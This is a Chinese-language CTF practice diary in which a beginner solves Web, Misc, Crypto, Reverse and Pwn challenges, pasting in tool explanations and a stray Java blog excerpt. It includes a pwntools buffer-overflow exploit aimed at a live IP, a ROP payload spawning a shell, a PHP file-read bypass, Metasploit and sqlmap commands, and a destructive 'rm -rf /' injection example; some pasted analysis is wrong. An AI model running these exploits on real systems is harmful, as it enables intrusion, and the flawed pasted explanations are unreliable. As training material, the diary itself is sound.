2024.1.8
Web 本地管理员:
盲猜用户名为admin,密码123456,结果为又看源代码
直接放入随波逐流
又尝试一次
直接抓包,然后看别人的,说要伪造ip地址为本地。
伪造 IP 地址是一种操纵网络通信的方式,它利用了数据包头部的设计漏洞。数据包在传输时携带源和目标 IP 地址,用于标识通信的发送者和接收者。攻击者可以通过手动构造数据包、使用特定工具或滥用网络协议的弱点来插入虚假的 IP 地址。
以下是一些常见的 IP 地址伪造技术和原理:
数据包构造: 在发送网络数据包时,可以手动构造数据包头部,将欺骗性的 IP 地址插入其中。这通常需要一定的网络知识和技能,因为数据包的头部需要正确的格式和字段。
源路由选项: 某些网络协议(如 IPv4 中的源路由选项)允许发送者指定数据包的传输路径。攻击者可以在数据包中设置虚假的源路由,导致数据包伪装成来自不同的 IP 地址。
IP 地址欺骗工具: 有一些工具可以帮助攻击者轻松地创建伪造的 IP 数据包,例如 Scapy、hping 等。这些工具可以自定义数据包的各个字段,包括源 IP 地址。
反射放大攻击: 攻击者可以通过发送虚假的请求,将数据包的源 IP 地址设置为受害者的 IP 地址。然后,受害者服务器会响应这些请求,将大量的数据传送到受害者,从而实施 DDoS 攻击。
欺骗网络设备: 攻击者可以欺骗网络中的路由器、防火墙等设备,通过伪造的 IP 地址绕过这些设备的安全策略,使其认为数据包是合法的。
IP 地址窃取: 攻击者可以窃取合法的 IP 地址,并将其用于攻击,从而导致受害者被错误地定位。
进行伪造
放行后发现flag
MiSC 这是一张单纯的图片:
下载附件,打开是一张图片
直接用010打开,末尾发现是html加密直接解密得到flag2
Crypto 聪明的小羊:
根据题目提示直接解密
Reverse 入门逆向:
下载附件查壳发现是32位,用ida打开
查资料发现可以按R转字符串,然后得到flag,这里要注意大小写(反正我是踩坑了)
Pwn 瑞士军刀:
直接点开,发现没用用kail打开(注意这里一定要换成桥接模式,这样才能连接到物理主机,不会的话可以搜一下)
重点:这里我们要用到kali中的ncat,简称nc,我个人的理解就是一个工具包:包含端口扫描工具,安全工具,监测工具,甚至可以做为一个简单的tcp代理。
详细的nc解释我们日后会学习到,我们是拿题目熟悉pwn,所以这里我们在输入nc之后同时连接我们刚才的靶场(也就是刚才启动的场景)。
nc 的基本命令行形式是:nc [options] host ports
options:可选参数,用于配置 nc 的行为。例如,-l 表示监听模式,-p 指定端口等。
host:目标主机的 IP 地址或域名。
ports:要连接的目标端口号,可以是单个端口或端口范围(用冒号分隔)。
例如:要在本地主机上监听端口 12345,可以使用以下命令:
nc -l 12345
例如:要连接到远程主机 example.com 的端口 80,可以使用以下命令:
nc example.com 80
然后用linux基本基本语句ls查看目录,在得到flag目录之后选择cat查看文件就可以得到flag
2024.1.9
Web No one knows regex better than me
打开环境,直接傻眼 用kimi分析得到
<?php
error_reporting(0); // 禁止显示错误信息,避免泄露服务器信息
$zero=$_REQUEST['zero']; // 获取用户通过GET或POST方式提交的zero参数
$first=$_REQUEST['first']; // 获取用户通过GET或POST方式提交的first参数
$second=$zero.$first; // 将zero和first参数拼接成一个字符串
if(preg_match_all("/Yeedo|wants|a|girl|friend|or|a|flag/i",$second)){ // 使用正则表达式检查second字符串中是否包含指定的单词,忽略大小写
$key=$second;
if(preg_match("/\.\.|flag/",$key)){ // 再次使用正则表达式检查key字符串中是否包含".."或"flag"
die("Noooood hacker!"); // 如果包含,则终止脚本执行,并显示提示信息
}else{
$third=$first;
if(preg_match("/\\|\056\160\150\x70/i",$third)){ // 检查third字符串中是否包含特定的字符序列,这里使用了多种编码方式表示".php"
$end=substr($third,5); // 从third字符串的第6个字符开始截取,得到一个子字符串
highlight_file(base64_decode($zero).$end); // 将zero参数的Base64编码解码后与end拼接,然后显示该文件的内容
// maybe flag in flag.php // 注释提示,flag可能在flag.php文件中
}
}
}
else{
highlight_file(__FILE__); // 如果second字符串中不包含指定的单词,则显示当前脚本文件的内容
},即 为了获取flag,我们需要深入理解并分析PHP脚本的逻辑。这个脚本处理来自$_REQUEST的输入,并基于这些输入执行不同的操作。让我们逐步分析并找到获取flag的方法。
1. 初始变量赋值
$zero=$_REQUEST['zero'];
$first=$_REQUEST['first'];
$second=$zero.$first;
这里,$zero和$first从$_REQUEST中获取值,并将它们连接起来赋值给$second。
2. 正则匹配检查
if(preg_match_all("/Yeedo|wants|a|girl|friend|or|a|flag/i",$second)){
这行代码检查$second中是否包含特定的字符串(不区分大小写)。如果包含,则继续执行后续代码;否则,显示当前文件内容。
3. 防止目录遍历和flag泄露
if(preg_match("/\.\.|flag/",$key)){
die("Noooood hacker!");
}
这里检查$key(即$second)是否包含..或flag,以防止目录遍历和直接泄露flag。
4. 查找PHP文件并执行
if(preg_match("/\\|\056\160\150\x70/i",$third)){
$end=substr($third,5);
highlight_file(base64_decode($zero).$end);//maybe flag in flag.php
}
- 这段代码检查$third(即$first)是否包含特定的字符串,该字符串代表PHP文件的扩展名(通过八进制和十六进制编码)。
- 如果匹配,则提取$third从第5个字符开始的部分,并与$zero(base64解码后)拼接,最后使用highlight_file函数显示该文件的内容。
5. 获取flag的步骤
基于以上分析,我们可以总结出获取flag的步骤:
- 构造zero和first的值:
- zero需要是一个base64编码的字符串,解码后应该是一个文件路径的一部分。
- first需要包含一个特定的PHP文件扩展名编码(如\056\160\150\x70代表.php)。
- 确保second包含特定字符串:
- second($zero.$first)需要包含Yeedo|wants|a|girl|friend|or|a|flag中的至少一个字符串。
- 避免触发安全检查:
- 确保$second(即$key)不包含..或flag。
示例请求
假设flag位于flag.php文件中,且文件位于与当前脚本相同的目录下,我们可以构造如下请求:
- zero: ZGlyc2VhcmNoLw==(base64编码的dirsearch/)
- first: Yeedo.php(包含Yeedo和PHP文件扩展名)
GET /script.php?zero=ZGlyc2VhcmNoLw==&first=Yeedo.php HTTP/1.1
Host: example.com
这样,$second将会是dirsearch/Yeedo.php,满足所有条件,并且highlight_file将会显示dirsearch/flag.php的内容(假设Yeedo.php从第5个字符开始是flag.php)
这样有点乱,总结一下 然后发现不会拼接,在学
使用“+”号拼接
String str1="hello";
String str2="world";
System.out.println(str1+str2);
输出:
helloworld
这里需要注意,当其中一个对象为空时,使用“+”号会把null转换成“null”字符串拼接到一起
String str1=null;
String str2="world";
System.out.println(str1+str2);
输出:
nullworld
我们知道String对象是不可变的,使用“+”号拼接时都会产生一个新的对象,当要拼接的字符串较多时,这样效率时非常低的。
(二) StringBuilder
StringBuilder的append()方法也是一个字符串拼接的常用方法
String[] values = {"hello", "_", "world",null};
StringBuilder result = new StringBuilder();
for (String value : values){
result=result.append(value);
}
System.out.println(result);
输出:
hello_worldnull
(三)StringBuffer
StringBuffer的append()方法和StringBuilder的append()是类似的,区别在于StringBuffer是线程安全的,StringBuilder是非线程安全的。
(四) String的join方法
String str1="hello";
String str2="world";
String str3=null;
//以“_”拼接
String str4=String.join("_",str1,str2,str3);
System.out.println(str4);
输出:
hello_world_null
2022年5月24日随手记,明天见qaq!
————————————————
版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
拼接得:zero=ZmxhZw==&first=aaaa|.php
得到flag
MISC linux:
根据题目提示,直接使用虚拟机,结果发现不会把文件发送到虚拟机,直接学
在Windows上将文件发送到虚拟机
在Windows操作系统上,将文件发送到虚拟机通常可以通过几种不同的方法实现,具体取决于您使用的虚拟机软件(如VMware、VirtualBox、Hyper-V等)以及您的网络配置。以下是一些常用的方法:
1. 使用共享文件夹
大多数虚拟机软件都支持在主机(Windows)和虚拟机之间设置共享文件夹。这种方法简单且直接,不需要通过网络传输文件。
在VirtualBox中设置共享文件夹
- 启动VirtualBox:打开VirtualBox管理器。
- 选择虚拟机:在左侧列表中选择您的虚拟机。
- 打开设置:点击上方的“设置”按钮。
- 配置共享文件夹:
- 在左侧菜单中选择“共享文件夹”。
- 点击右侧的“添加共享文件夹”图标(带加号的小文件夹)。
- 在弹出的窗口中,选择您想要共享的文件夹路径,并为其指定一个名称。
- 选择“自动挂载”和“只读”或“读写”访问权限。
- 点击“确定”保存设置。
- 启动虚拟机:现在启动您的虚拟机,并登录到操作系统。
- 访问共享文件夹:
- 在Linux虚拟机中,您可能需要安装VirtualBox Guest Additions才能访问共享文件夹。通常,这可以通过虚拟机内的“设备”菜单找到并安装。
- 安装后,共享文件夹将出现在/media/<用户名>或/mnt目录下,具体取决于您的Linux发行版和VirtualBox配置。
在VMware中设置共享文件夹
- 启动VMware Workstation/Fusion:打开VMware软件。
- 选择虚拟机:在左侧列表中选择您的虚拟机。
- 打开设置:点击上方的“编辑虚拟机设置”按钮。
- 配置共享文件夹:
- 在左侧菜单中选择“选项”。
- 点击“共享文件夹”。
- 点击右侧的“添加”按钮。
- 在弹出的窗口中,选择您想要共享的文件夹路径,并为其指定一个名称。
- 勾选“启用此共享”和“在Windows客户机中映射为网络驱动器”。
- 点击“确定”保存设置。
- 启动虚拟机:现在启动您的虚拟机,并登录到操作系统。
- 访问共享文件夹:
- 在Windows虚拟机中,共享文件夹将自动映射为网络驱动器,您可以在文件资源管理器中访问它。
- 在Linux虚拟机中,您可能需要手动挂载共享文件夹。这通常可以通过在终端中使用mount -t cifs命令来实现,具体命令取决于您的网络配置和共享文件夹设置。
2. 使用网络传输
如果您的虚拟机可以访问互联网,您还可以使用网络传输工具(如SCP、SFTP、FTP、HTTP等)将文件从Windows主机发送到虚拟机。
使用SCP或SFTP
您可以使用PuTTY的pscp工具或WinSCP等第三方软件来通过SCP或SFTP协议传输文件。
- pscp:在命令提示符下使用pscp命令将文件从Windows发送到虚拟机。
- WinSCP:一个图形化SFTP客户端,允许您通过拖放操作传输文件。
使用FTP
如果您的虚拟机运行了FTP服务器,您可以使用Windows的文件资源管理器或第三方FTP客户端(如FileZilla)来连接到FTP服务器并上传文件。
使用HTTP
如果您有一个Web服务器运行在虚拟机上,并且您可以从Windows主机访问它,您还可以通过HTTP POST请求将文件上传到Web服务器。这通常需要使用表单上传功能或API端点。
3. 使用云存储服务
如果您的虚拟机可以访问互联网,并且您不介意将文件上传到云存储服务(如OneDrive、Google Drive、Dropbox等),那么这也是一种可行的文件传输方法。只需将文件上传到云存储服务,然后在虚拟机中下载即可。
这里可以学一下kail的用法:
-z:用Gzip压缩或解压。
-x:解压文件。
-v:显示详细的输出。
-f:后面接的是要操作的文件。
如何解压得到flag
Crypto 散乱的密文
根据题目意思,直接排序得到flag
Reverse mobile2(gctf)
解压得到 打开后
网上搜了一下:
解释页面渲染错误
当您在浏览器中查看一个页面时,如果页面没有正确渲染,并且出现了类似“error on line 1 at column 1: Start tag expected, '<' not found”和“error on line 1 at column 1: Encoding error”的错误信息,这通常意味着浏览器在尝试解析HTML文档时遇到了问题。下面是对这两个错误的详细解释:
1. Start tag expected, '<' not found
这个错误表明浏览器在文档的第一行第一列期待找到一个HTML标签(通常是一个开始标签,如<html>、<head>或<body>),但却没有找到。这通常发生在以下几种情况:
- 文件类型错误:您可能尝试在浏览器中打开一个非HTML文件,比如一个Python脚本、文本文件或其他类型的文档。
- 文件损坏:HTML文件可能在传输或保存过程中被损坏,导致第一行被删除或修改。
- 服务器配置错误:服务器可能错误地将非HTML文件作为HTML文件发送给浏览器。
2. Encoding error
这个错误与文件的编码有关。HTML文档应该声明其使用的字符编码,以便浏览器能够正确解析和显示文档中的文本。如果在文档的第一行没有找到编码声明(如<meta charset="UTF-8">),或者声明的编码与文件实际使用的编码不匹配,就可能出现编码错误。
然而,在您提供的错误信息中,编码错误可能更多地是由于浏览器期望一个HTML文档但却收到了一个非HTML文件所导致的。浏览器在尝试解析非HTML内容作为HTML时,可能会因为无法识别文件的编码而报告编码错误。
解决方案
- 确保文件类型正确:如果您在浏览器中打开的是一个非HTML文件,请改用适当的文本编辑器或IDE来查看和编辑该文件。
- 检查HTML文档的编码声明:如果您正在处理HTML文档,请确保在文档的<head>部分包含了正确的字符编码声明。
- 检查服务器配置:如果您是网站管理员,请检查服务器的配置,确保它正确地发送了HTML文件,并且文件的MIME类型设置正确。
- 用VS Code打开不行,直接无语
发现用记事本打开有跟flag相似的
Pwn overflow:(只是照着wp做的,还没有理解)
下载附件后,先看壳。发现是64位
使用ida打开题目后,发现有明显的后门函数get_shell,地址为0x400751.
exp如下:
from pwn import *
#remot函数
io=remote('114.67.246.176',19777)
io.recvuntil('')
addr=0x400751
#溢出点为56,构造payload
payload=56*'A'+p64(addr)
io.send(payload)
io.interactive()
得到flag
2024.1.10
Web eval:
打开环境
分析程序:
- 包含flag文件:通过include "flag.php";语句,将flag.php文件包含进来。flag.php文件很可能包含了重要的flag(标记)信息,这是CTF(Capture The Flag)挑战中常见的目标。
- 获取用户输入并执行:使用$a = @$_REQUEST['hello'];获取用户通过hello参数提交的输入。@符号用于抑制错误提示,即使hello参数不存在也不会报错,而是将$a赋值为空。
- 执行用户输入:通过eval( "var_dump($a);");语句,将用户输入的$a作为代码执行。eval()函数会将字符串作为PHP代码来执行,这是极其危险的操作,因为用户可以提交任意的PHP代码来执行。
- 显示源代码:show_source(__FILE__);语句用于显示当前文件的源代码,让用户可以看到这段PHP代码本身。
- 题目叫evaluate,先查一下eval的用法:在PHP中,eval() 函数用于把字符串作为PHP代码执行。它是一个非常强大的函数,但同时也存在很高的安全风险,因为它可以执行任何传递给它的PHP代码。因此,在使用 eval() 时需要格外小心,确保传入的字符串是可信的,以避免潜在的安全漏洞。
根据题目,先搜一下eval的用法:
- 1. 基本用法
- PHP
- <?php
- $string = "echo 'Hello, World!';";
- eval($string);
- ?>
- 在这个例子中,eval() 函数接收一个字符串 $string,并将其作为PHP代码执行。输出将是 "Hello, World!"。
- 2. 动态代码执行
- eval() 常用于需要动态执行PHP代码的场景。例如,根据用户输入或配置文件生成代码并执行。
- PHP
- <?php
- $code = "for (\$i = 0; \$i < 10; \$i++) { echo \$i . \"\\n\"; }";
- eval($code);
- ?>
- 这段代码将输出从0到9的数字,每个数字占一行。
- 3. 安全风险
- 由于 eval() 可以执行任何PHP代码,因此它很容易成为安全攻击的目标。如果攻击者能够控制传递给 eval() 的字符串,他们就可以执行任意PHP代码,从而完全控制服务器。
- 为了避免这种风险,请遵循以下最佳实践:
- 避免使用 eval():在可能的情况下,尽量避免使用 eval()。可以通过重构代码或使用其他设计模式来实现相同的功能。
- 验证输入:如果必须使用 eval(),请确保传入的字符串是可信的。可以通过白名单验证、输入过滤和转义来降低风险。
- 使用沙盒:如果必须执行不受信任的PHP代码,可以考虑使用沙盒环境来限制代码的执行权限
- Eval,var_dump,echo的区别
- var_dump()会将传入的变量打印到页面(变量类型,变量长度和变量值)
- eval()会执行传入到其中的php代码
- echo输出的是最终的结果(变量类型和字符串)
分析可得:
eval("var_dump($a);")就是把$a的内容打印出来
$a= @$_REQUEST['hello']
Request:使用 Request 对象访问任何基于 HTTP 请求传递的所有信息
可以看出request是要请求得到hello的信息,及a=的是hello的信息,而不是hello本身
由第一行我们可以知道,flag是在文件”flag.php”中的
用hello=flag.php
发现不是flag,再试一次,结果不对后来发现要flag.php,不是flagphp
发现数字变了,但还是没用,去网上看见别人说因为是文件用file,再试一次
原因: 使用“file”协议(不是Web查询)
在本地文件系统中,可以使用“file”协议来直接访问文件。例如,在浏览器的地址栏中输入file:///C:/Users/Username/Documents/file.txt可以直接打开本地计算机上的file.txt文件。然而,这种方式并不是在Web服务器上查询文件的标准方法,它主要用于本地文件访问。
Flag就出来了
MISC 富强民主:
根据题目意思直接放入随波逐流解密
Crypto 把猪困在猪圈里:
下载附件,根据题目意思,一打开网站,天塌了,跟附件一点关系都没有在去观察附件
有字母,有加号,base64,直接解密,天又塌了
直接考虑base64转图片
对照猪圈密码得到flag{thisispigpassword}
Reverse Easy_Re:
下载附件,先查壳 发现是32位,用ida打开,查看反编译
点击xmmwd发现奇怪字符串
将其转换位字符串,flag就出现了
我还发现可以直接放入随波逐流,直接得到flag
pwn overflow2:
先查壳,发现是64位用ida打开,查看反编译
main函数如下 :
很明显read可读入数据过大 并且buf距离Rbp有0x20个字节的距离 因此有溢出点
先学一下溢出:
1. 缓冲区溢出(Buffer Overflow)
缓冲区溢出是一种常见的安全漏洞,当程序试图将过多的数据写入固定大小的缓冲区时就会发生。如果溢出的数据覆盖了相邻的内存区域,比如函数返回地址或栈帧指针,攻击者就可以利用这个漏洞来执行任意代码。
在 shell 环境中,缓冲区溢出可能发生在处理用户输入时,特别是当输入超出了预期的长度时。例如,如果 shell 没有正确检查命令行参数的长度,攻击者可能会构造一个特别长的参数来触发缓冲区溢出。
2. Shellshock(Bashdoor)
Shellshock 是一种影响 Bash(Bourne Again SHell)的远程代码执行漏洞。攻击者可以通过构造恶意的环境变量来触发这个漏洞,从而导致 Bash 执行任意代码。这个漏洞在 2014 年被公开,并引起了广泛的关注,因为它允许攻击者通过受影响的服务(如 web 服务器)获得对系统的完全控制。
3. 命令注入(Command Injection)
命令注入是一种攻击技术,攻击者通过向应用程序输入恶意数据来执行未经授权的命令。在 shell 环境中,如果应用程序没有正确地清理或转义用户输入,攻击者可能会注入恶意 shell 命令。
例如,如果一个 web 应用程序使用 shell 命令来执行用户提供的输入,而没有进行适当的验证或清理,攻击者可能会输入 ; rm -rf / 来删除整个文件系统。
4. 权限提升(Privilege Escalation)
在某些情况下,攻击者可能会利用 shell 中的漏洞来提升他们在系统上的权限。这通常涉及到利用低权限进程中的漏洞来执行高权限操作。
shift + F12 发现有 bin/sh 字符串
并且有system函数
在学一下pwn里的system:
在网络安全和黑客技术中,"pwn" 指的是利用软件漏洞来获得未授权的访问或控制权。当谈论到 "pwn 里的 system" 时,我们通常指的是在成功渗透或攻陷一个系统后,利用漏洞执行系统级命令或函数的能力。
在编程和操作系统上下文中,system 是一个函数调用,它允许程序执行一个外部命令或程序。在 C 语言中,system 函数定义在 <stdlib.h> 头文件中,其原型通常如下:
cint system(const char *command);
这里,command 是一个指向以 null 结尾的字符串的指针,该字符串包含了要执行的命令。system 函数会启动一个子 shell 来执行该命令,并等待命令执行完成。执行结果(即命令的退出状态)将作为 system 函数的返回值返回。
在 "pwn" 的上下文中,如果攻击者能够利用软件漏洞执行任意代码,他们可能会尝试调用 system 函数来执行高权限命令,如提升权限、读取敏感文件、添加用户账户等。这种攻击方式非常危险,因为它允许攻击者完全控制受影响的系统。
为了防御这种攻击,开发人员和系统管理员需要采取一系列安全措施,包括:
- 输入验证和清理:确保所有用户输入都经过适当的验证和清理,以防止命令注入攻击。
- 最小权限原则:运行应用程序时使用最低必要的权限,以减少潜在损害的范围。
- 安全编程实践:避免使用不安全的函数,如 system,特别是在处理不受信任的输入时。
- 漏洞管理和修复:定期更新系统和应用程序,以修复已知的安全漏洞。
- 监控和日志记录:实施监控和日志记录机制,以便及时发现和响应可疑活动。
又因为是64位程序 第一个参数是放在 rdi 寄存器里面
于是利用ROPgadget工具寻找可用指令
如图
在学一下如何构造payload:
在 "pwn"(即利用软件漏洞进行攻击)的过程中,构造有效的 payload 是一个关键步骤。Payload 指的是被注入到漏洞中以执行特定操作的代码或数据。构造 payload 的目标通常是触发漏洞并利用它来达到攻击者的目的,如执行任意代码、获取系统权限、泄露敏感信息等。
构造 payload 的过程通常涉及以下几个步骤:
1. 分析漏洞
首先,需要对目标系统或应用程序的漏洞进行深入分析。这包括了解漏洞的类型(如缓冲区溢出、格式化字符串漏洞、逻辑错误等)、触发条件以及漏洞可能导致的后果。
2. 确定目标
明确攻击的目标是什么。这可能包括执行特定的系统命令、提升权限、泄露数据等。目标的确定将指导 payload 的设计和构造。
3. 选择合适的攻击向量
根据漏洞的类型和目标,选择合适的攻击向量。攻击向量是指攻击者利用漏洞的具体方式,如通过网络请求、文件上传、内存损坏等。
4. 构造 payload
构造 payload 是核心步骤。这通常涉及编写特定的代码或数据,以便在漏洞被触发时执行预期的操作。对于缓冲区溢出等内存损坏漏洞,payload 可能包括 shellcode(用于执行系统命令的机器码)和必要的填充数据(用于覆盖返回地址并指向 shellcode)。
在构造 payload 时,需要注意以下几点:
- 编码和逃避:如果目标系统对输入进行了编码或转义处理,payload 可能需要进行相应的编码或逃避以绕过这些限制。
- 大小限制:某些漏洞对可注入的数据量有限制。因此,payload 的大小需要控制在可接受的范围内。
- 稳定性和可靠性:payload 需要稳定且可靠地触发漏洞并达到预期的效果。
5. 测试和验证
在构造完成后,需要对 payload 进行测试和验证。这通常涉及在目标系统或类似的测试环境中运行 payload,并观察其行为和效果。如果 payload 无法触发漏洞或达到预期的效果,可能需要进行调整和优化。
6. 部署和利用
一旦 payload 被验证为有效,攻击者可能会将其部署到目标系统并利用漏洞。然而,需要强调的是,未经授权的攻击是非法的,并且可能导致严重的法律后果。因此,这些步骤应该仅在合法和道德的框架内进行,如安全研究、漏洞挖掘和漏洞响应等。
总之,构造 payload 是一个复杂而细致的过程,需要深厚的安全知识和编程技能。对于非专业人士来说,尝试构造和利用 payload 是非常危险的,并且可能导致不可预测的后果。
于是构造payload =
b"a"*(0x20+8) + p64(pop_rdi_ret) + p64(bin_sh_addr) + p64(sys_addr)
最终的exp如下 :
于是get shell了
2024.1.11
Web source:
打开网站,发现什么都没有 查看源代码,发现flag
白高兴,是电信诈骗
那就直接用dirsearch扫描
又发现了flag,又是一次,结果是二次电信诈骗
观察扫描结果,发现git漏洞
先学一下git漏洞:
Git作为一款广泛使用的版本控制系统,也面临着各种安全漏洞的威胁。这些漏洞可能存在于Git客户端、服务器或相关工具中,如果被恶意利用,可能会导致敏感信息泄露、代码篡改或其他安全问题。以下是一些常见的Git漏洞类型及防范措施:
1. .git目录泄露
漏洞描述: 当Web服务器的配置不当,将.git目录直接暴露给公众时,攻击者可以下载该目录中的文件,进而恢复出仓库中的所有代码和提交历史。这可能导致敏感信息泄露,如源代码、配置文件、密码等。
防范措施:
- 确保.git目录不在Web服务器的根目录下,或配置Web服务器禁止访问.git目录。
- 使用工具如GitGuardian、GitLeaks等定期扫描代码库,检测潜在的.git泄露风险。
2. 钩子脚本漏洞
漏洞描述: Git钩子(Hooks)是Git在特定事件(如提交、合并等)发生时自动执行的脚本。如果钩子脚本存在安全漏洞或配置不当,攻击者可能利用这些脚本执行恶意代码。
防范措施:
- 审查并限制钩子脚本的权限,确保它们只能执行预期的操作。
- 避免在钩子脚本中包含敏感信息,如密码、API密钥等。
3. 子模块漏洞
漏洞描述: Git子模块允许将一个Git仓库作为另一个Git仓库的子目录。如果子模块的配置不当或包含恶意代码,攻击者可能利用子模块执行恶意操作。
防范措施:
- 定期检查子模块的配置和依赖关系,确保它们来自可信的来源。
- 在克隆包含子模块的仓库时,使用--recurse-submodules选项以确保子模块也被正确克隆和更新。
4. Git客户端漏洞
漏洞描述: Git客户端软件本身也可能存在安全漏洞。这些漏洞可能被攻击者利用来执行任意代码、窃取敏感信息等。
防范措施:
- 定期更新Git客户端到最新版本,以获取最新的安全补丁和功能改进。
- 避免使用来路不明的Git客户端或插件。
5. Git服务器漏洞
漏洞描述: Git服务器(如GitLab、GitHub等)也可能存在安全漏洞。这些漏洞可能影响服务器的稳定性和安全性,导致数据泄露、服务中断等问题。
防范措施:
- 定期更新Git服务器到最新版本,并应用所有可用的安全补丁。
- 配置强密码策略、双因素认证等安全措施,以增强服务器的安全性。
- 下载git目录后
- 查看历史flag,这里需要知道:
- 我们可以通过使用git reflog命令,就可查看到所有历史版本信息。由于查看所有历史版本信息的目的,大多是为了进行版本回退或恢复操作所使用,从中找到所需的commit索引,所以该命令被命名为reflog,即:引用日志。
- 这里需要学习一下如何Kali用工具利用下载并利用漏洞:
- 在Kali Linux中使用工具利用漏洞
- 在Kali Linux中,你可以使用多种工具来扫描、发现和利用漏洞。以下是一些常用工具及其使用方法,帮助你利用下载并发现的漏洞:
- 1. Metasploit Framework
- Metasploit是一个开源的渗透测试框架,提供了大量的漏洞利用模块和工具。以下是如何使用Metasploit来利用漏洞的步骤:
- 安装Metasploit
- Metasploit通常已经预装在Kali Linux中。如果没有,你可以通过以下命令安装:
- Bash
- sudo apt-get update
- sudo apt-get install metasploit-framework
- 启动Metasploit
- bash
- msfconsole
- 搜索和利用漏洞
- 搜索漏洞模块:
- 使用search命令搜索特定的漏洞模块,例如搜索MS08-067漏洞:
- Bash
- search ms08_067
- 使用漏洞模块:
- 选择并加载一个漏洞模块,例如:
- Bash
- use exploit/windows/smb/ms08_067_netapi
- 配置模块参数:
- 使用set命令配置模块参数,例如设置目标主机IP地址:
- bash
- set RHOST 192.168.1.100
- 运行漏洞利用:
- 使用run或exploit命令运行漏洞利用:
- Bas
- run
- 2. Burp Suite
- Burp Suite是一款集成的Web应用渗透测试工具,可以帮助你发现和利用Web应用中的漏洞。
- 安装Burp Suite
- 你可以从Burp Suite的官方网站下载并安装它。在Kali Linux中,你也可以通过APT安装:
- bash
- sudo apt-get update
- sudo apt-get install burpsuite
- 使用Burp Suite
- 启动Burp Suite:在Kali Linux中启动Burp Suite。
- 配置代理:将你的浏览器配置为通过Burp Suite的代理进行通信。
- 拦截和修改请求:使用Burp Suite的拦截功能拦截和修改HTTP请求,以测试漏洞。
- 扫描和发现漏洞:使用Burp Suite的扫描功能对目标Web应用进行扫描,以发现和利用漏洞。
- 3. SQLMap
- SQLMap是一款自动化的SQL注入检测和利用工具。
- 安装SQLMap
- Bash
- sudo apt-get update
- sudo apt-get install sqlmap
- 使用SQLMap
- 检测SQL注入:
- 使用以下命令检测目标URL是否存在SQL注入漏洞:
- bash
sqlmap -u "http://example.com/vulnerable_page.php?id=1"
- 利用SQL注入:
- 如果发现SQL注入漏洞,你可以使用SQLMap来执行数据库查询、获取数据、甚至获取系统权限。例如,获取当前数据库名称:
- bash
sqlmap -u "http://example.com/vulnerable_page.php?id=1" --dbs
- 4. Nessus
- Nessus是一个强大的漏洞扫描工具,可以帮助你发现网络中的安全漏洞。
- 安装Nessus
- bash
sudo dpkg -i Nessus-x.x.x-debian6_amd64.deb
- sudo /opt/nessus/sbin/nessuscli fetch --register-offline /path/to/nessus.license
- sudo service nessusd start
- 使用Nessus
- 启动Nessus服务:
- bash
sudo service nessusd start
- 访问Nessus Web界面:在浏览器中访问https://localhost:8834,使用默认用户名和密码(通常是nessus)登录。
- 创建扫描任务:在Nessus Web界面中创建新的扫描任务,并指定目标主机或IP范围。
- 运行扫描:启动扫描任务,等待扫描完成。
- 分析扫描结果:扫描完成后,分析扫描结果,查看发现的安全漏洞,并采取相应的修复措施。
- 5. Struts2 Scan
- Struts2 Scan是一个专门针对Struts2框架漏洞的扫描工具。
- 安装Struts2 Scan
- 你可以从GitHub下载Struts2 Scan,并按照提供的说明进行安装。
- 使用Struts2 Scan
- 运行Struts2 Scan:
- bash
python3 Struts2Scan.py -u "http://example.com"
- 分析扫描结果:扫描完成后,查看扫描结果,找出存在的Struts2漏洞,并采取相应的修复措施。
-
查看历史flag
开始查看,一个一个的看
总结一下
-
MISC Linux2:
-
下载附件,直接用010打开,搜索关键词KEY,直接出flag
-
Crypto 你以为是md5吗:
-
根据题目,我们要却md5的密文范围:
- MD5密文的范围可以通过以下特征来确定:
- 长度特征
- 32位:标准的MD5密文长度为32位,是由4个32位的散列值组合而成的128位二进制数,再转换为16进制表示,因此是32位字符长度
- 。
- 16位:有时会取32位MD5密文的中间16位,即第9位到第25位
- 。
- 字符组成特征
- MD5密文由数字“0-9”和字母“a-f”组成,字母可以全部是大写或者小写
- 。如果密文中出现这个范围以外的字符,那么它很可能不是MD5密文
- 。
- 示例
- 32位小写示例:e10adc3949ba59abbe56e057f20f883e
- 32位大写示例:E10ADC3949BA59ABBE56E057F20F883E
- 16位小写示例:49ba59abbe56e057
- 16位大写示例:49BA59ABBE56E057
- 观察附件,很明显给定的字符串包含数字和小写字母,但包含了一些不属于“0-9”和“a-f”范围的字符,如“i”和“u”以及“o”。
- 直接进行解密,得到flag
-
Reverse Easy_vb:
- 下载附件,先看壳,是32位,
用ida打开
- 查看反编译,发现没有,shift+F12搜索,没发现flag
点击函数,进行反编译,发现在402310有反应,查看发现有跟flag结构相似的,尝试一下,结果正确。所以flag{_N3t_Rev_1s_E4ay_}
-
Pwn read_note:
- 打开环境,要先安装Netcat
- 首先,确保您的系统上安装了Netcat。在大多数Linux发行版上,您可以使用包管理器来安装它。例如,在Debian/Ubuntu上,您可以使用以下命令:
- Bash
- sudo apt-get update
- sudo apt-get install netcat
- 然后无语了,输入flag,直接给我爆出来